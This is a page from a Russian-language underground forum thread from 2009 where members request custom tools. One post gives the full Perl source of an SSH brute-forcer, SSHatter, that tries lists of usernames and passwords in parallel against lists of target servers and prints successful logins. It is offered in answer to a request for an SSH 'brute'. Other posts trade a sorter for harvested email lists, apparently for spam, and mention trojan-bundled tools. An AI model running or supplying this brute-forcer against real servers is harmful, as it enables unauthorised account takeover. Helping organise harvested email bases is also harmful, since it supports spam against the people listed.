Запросы на написание программ - Страница 3 - Proxy-Base Community

VareZzZ · 03.08.2009, 07:36

Ранкор сказал что брутер SSH напишет за 30$

NekitoSP · 03.08.2009, 07:56

VareZzZ, дело твоё, но не надо тут оффтопить! для этого есть соответствующий раздел!

shnurd, лови, и не забывай жать Спасибку ))

P.S. ВСЕ КТО СЧИТАЕТ ЧТО Я КЛЕЮ КАЖДЫЙ ФАЙЛ С ПИНЧЕМ - ИДИТЕ НАХ!
Но если же вам попалась одна из моих прог с троем - значит кто-то уже постарался.
хотите мои нормальные проги - не берите их из 3-их рук!!! все проги абсолюно сразуже после их написания сжимаются UPX,ом, и в .rar архив с максимальным сжатием!!!! не верите - ваше дело!!!!

BBC · 03.08.2009, 08:07

Цитата:

Сообщение от VareZzZ

Нужен брутер SSH для Win32. На чем написан не важно, хоть на C+ хоть на Delphi, не важно главное чтобы работал на Windows, можно даже скрипт на Perl'е. Брут должен брутить на логин и пароль.

Какое-то перлоподелье:

PHP код:

  #!/usr/bin/perl -w
# $Header: /var/lib/cvsd/var/lib/cvsd/SSHatter/src/SSHatter.pl,v 1.9 2007-10-06 15:01:57 timb Exp $
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# * Neither the name of the Nth Dimension nor the names of its contributors may
# be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# (c) Tim Brown, 2007
# <mailto:timb@nth-dimension.org.uk>
# <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>

use strict;
use Parallel::ForkManager;
use Net::SSH::Perl;
use Time::HiRes qw(gettimeofday);

my $maximumprocess;
my $targetserverfilename;
my $usernamefilename;
my $passwordfilename;
my $sleeptime;
my $timingflag;
my $forkmanager;
my $usernamefilehandle;
my $username;
my $passwordfilehandle;
my $password;
my $targetserverfilehandle;
my $targetserver;
my $processid;
my $hostname;
my $portnumber;
my $sshhandle;
my $testedflag;
my $starttime;

sub usage {
    die "usage: " . $0 . " <maximumprocess> <targetserverfilename> <usernamefilename> <passwordfilename> <sleeptime> <timingflag>\n\tsleeptime: 0 - disable retries";
}

if (@ARGV != 6) {
    die "usage: " . $0 . " <maximumprocess> <targetserverfilename> <usernamefilename> <passwordfilename> <sleeptime> <timingflag>\n\tsleeptime: 0 - disable retries";
}
$maximumprocess = shift;
$targetserverfilename = shift;
$usernamefilename = shift;
$passwordfilename = shift;
$sleeptime = shift;
$timingflag = shift;
if ($maximumprocess =~ /([0-9]+)/) {
    $maximumprocess = $1;
} else {
    usage();
}
if (! -e $targetserverfilename) {
    usage();
}
if (! -e $usernamefilename) {
    usage();
}
if (! -e $passwordfilename) {
    usage();
}
if ($sleeptime =~ /([0-9]+)/) {
    $sleeptime = $1;
} else {
    usage();
}
if ($timingflag =~ /([01])/) {
    $sleeptime = $1;
} else {
    usage();
}

$forkmanager = new Parallel::ForkManager($maximumprocess);
open($usernamefilehandle, "<" . $usernamefilename);
while (<$usernamefilehandle>) {
    $username = $_;
    $username =~ s/\x0a//g;
    open($passwordfilehandle, "<" . $passwordfilename);
    while (<$passwordfilehandle>) {
        $password = $_;
        $password =~ s/\x0a//g;
        open($targetserverfilehandle, "<" . $targetserverfilename);
        while (<$targetserverfilehandle>) {
            $targetserver = $_;
            $targetserver =~ s/\x0a//g;
            $processid = $forkmanager->start() and next;
            $testedflag = 0;
            ($hostname, $portnumber) = split(/:/, $targetserver);
            if ($portnumber && ($portnumber =~ /([0-9]+)/)) {
                $portnumber = $1;
                if (($portnumber <= 0) || ($portnumber > 65535)) {
                    $portnumber = 22;
                }
            } else {
                $portnumber = 22;
            }
            print "[sshatter] trying " . $username . "@" . $hostname . ":" . $portnumber . "/" . $password . "\n";
            while ($testedflag != 1) {
                eval {
                    $sshhandle = Net::SSH::Perl->new($hostname, port => $portnumber);
                };
                if ($@ ne "") {
                    print STDERR "Net::SSH::Perl->new() failed: " . $@;
                    if ($sleeptime > 0) {
                        sleep($sleeptime);
                    } else {
                        $testedflag = 1;
                    }
                } else {
                    eval {
                        if ($timingflag == 1) {
                            $starttime = gettimeofday();
                        }
                        $sshhandle->login($username, $password);
                        $sshhandle->cmd("echo SSHatter");
                    };
                    if ($@ ne "") {
                        if ($timingflag == 1) {
                            print "[sshatter] " . $username . "@" . $hostname . ":" . $portnumber . ":" . sprintf("%.4f", gettimeofday() - $starttime) .  " seconds elapsed\n";
                        }
                        if ($@ !~ /Permission denied/) {
                            print STDERR "Net::SSH::Perl->cmd() failed: " . $@;
                            if ($sleeptime > 0) {
                                sleep($sleeptime);
                            } else {
                                $testedflag = 1;
                            }
                        } else {
                            $testedflag = 1;
                        }
                    } else {
                        print "[sshatter] " . $username . "@" . $hostname . ":" . $portnumber . ":" . sprintf("%.4f", gettimeofday() - $starttime) .  " seconds elapsed\n";
                        print "[sshatter] " . $username . "@" . $hostname . ":" . $portnumber . "/" . $password . ":success\n";
                        $testedflag = 1;
                    }
                }
            }
            $forkmanager->finish();
        }
        close($targetserverfilehandle);
    }
    close($passwordfilehandle);
}
close($usernamefilehandle);
$forkmanager->wait_all_children();
exit(1);

А ваще на томже делфи есть компоненты для SSH, имхо можно реализовать.

**hide** · 03.08.2009, 08:12

ну я не знаю NekitoS - красава, делаешь успехи))
на счёт того, что ругаются антивирусы на твой софт, дам совет, лучше пока пусть программы весят больше, чем народ не будет придераться к ним, а как найдешь, чем нормально сжать софт, тогда уже и о весе можно заботиться, но опять же на своё усмотрение делай)

NekitoSP · 03.08.2009, 08:28

hide, вирусов в моём софте еще не находили, это прост предупреждение.

А сжимать я буду в любом случае, т.к у мя не анлим!!

**hide** · 03.08.2009, 08:36

тогда у меня новая просьба, нужен софт немного отличающийся от того, который попросил shnurd, мне нужен сортировщик баз мыл по доменам, попробовал тем, что написал для shnurd'a не робит. Или кто паблик найдёт выложите, вчера полдня искал.

NekitoSP · 03.08.2009, 08:52

переписать 10 мин займёт. за комп сяду сделаю. кст. мылы в каком формате?
...
hide, вот держи!
все что после @, то считается названием файла. списки должны быть в формате
login@domain.ru(.com,net и т.д )

**hide** · 03.08.2009, 14:29

при больших списках подвисает и если в строке нету символа @, то парсер отказывается работать.
нашёл не плохой сортировщик на пёрле, может поможет:

PHP код:

  #! /usr/bin/perl -w

undef %saw;
open (FILE , "<emails.txt");
chomp(@email = <FILE>);
@email = grep(!$saw{$_}++, @email);
close FILE;

while (@email){
($login,$domain) = split /@/, shift @email;
open (EMAIL , ">>$domain.txt");
print EMAIL "$login\@$domain\n";
}
close EMAIL;

NekitoSP · 03.08.2009, 14:53

а как тогда запись можно называть емайлом, ес там нет символа @ ? :-D

03.08.2009, 07:36	#19 (permalink)
VareZzZ HTTP/S Регистрация: 01.06.2009 Сообщений: 65 Member ID: 423 Репутация: 83 Сказал(а) спасибо: 102 Поблагодарили 83 раз(а) в 54 сообщениях	Ранкор сказал что брутер SSH напишет за 30$ __________________

03.08.2009, 08:28	#23 (permalink)
NekitoSP SOCKS5 Регистрация: 28.05.2009 Сообщений: 204 Member ID: 352 Репутация: 353 Сказал(а) спасибо: 317 Поблагодарили 343 раз(а) в 152 сообщениях	hide, вирусов в моём софте еще не находили, это прост предупреждение. А сжимать я буду в любом случае, т.к у мя не анлим!! Последний раз редактировалось NekitoSP; 03.08.2009 в 08:34.

03.08.2009, 14:29	#26 (permalink)
hide Proxy-Base.Org Team Регистрация: 19.05.2009 Сообщений: 960 Member ID: 147 Репутация: 2374 Сказал(а) спасибо: 894 Поблагодарили 2,054 раз(а) в 713 сообщениях	при больших списках подвисает и если в строке нету символа @, то парсер отказывается работать. нашёл не плохой сортировщик на пёрле, может поможет: PHP код: `#! /usr/bin/perl -w undef %saw; open (FILE , "<emails.txt"); chomp(@email = <FILE>); @email = grep(!$saw{$_}++, @email); close FILE; while (@email){ ($login,$domain) = split /@/, shift @email; open (EMAIL , ">>$domain.txt"); print EMAIL "$login\@$domain\n"; } close EMAIL;`

Опции темы	Поиск в этой теме
Версия для печати Отправить по электронной почте	Поиск в этой теме: Расширенный поиск
Опции просмотра
Линейный вид Комбинированный вид Древовидный вид

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Карта программ и информации.	Smarthuman	Информация об ICQ	1	07.03.2010 16:13
Пакет программ "Спамер 2009 плюс	SsIDit	E-mail	1	18.02.2010 19:23

03.08.2009, 08:12	#22 (permalink)
hide Proxy-Base.Org Team Регистрация: 19.05.2009 Сообщений: 960 Member ID: 147 Репутация: 2374 Сказал(а) спасибо: 894 Поблагодарили 2,054 раз(а) в 713 сообщениях	ну я не знаю NekitoS - красава, делаешь успехи)) на счёт того, что ругаются антивирусы на твой софт, дам совет, лучше пока пусть программы весят больше, чем народ не будет придераться к ним, а как найдешь, чем нормально сжать софт, тогда уже и о весе можно заботиться, но опять же на своё усмотрение делай)

03.08.2009, 08:36	#24 (permalink)
hide Proxy-Base.Org Team Регистрация: 19.05.2009 Сообщений: 960 Member ID: 147 Репутация: 2374 Сказал(а) спасибо: 894 Поблагодарили 2,054 раз(а) в 713 сообщениях	тогда у меня новая просьба, нужен софт немного отличающийся от того, который попросил shnurd, мне нужен сортировщик баз мыл по доменам, попробовал тем, что написал для shnurd'a не робит. Или кто паблик найдёт выложите, вчера полдня искал.

03.08.2009, 14:53	#27 (permalink)
NekitoSP SOCKS5 Регистрация: 28.05.2009 Сообщений: 204 Member ID: 352 Репутация: 353 Сказал(а) спасибо: 317 Поблагодарили 343 раз(а) в 152 сообщениях	а как тогда запись можно называть емайлом, ес там нет символа @ ? :-D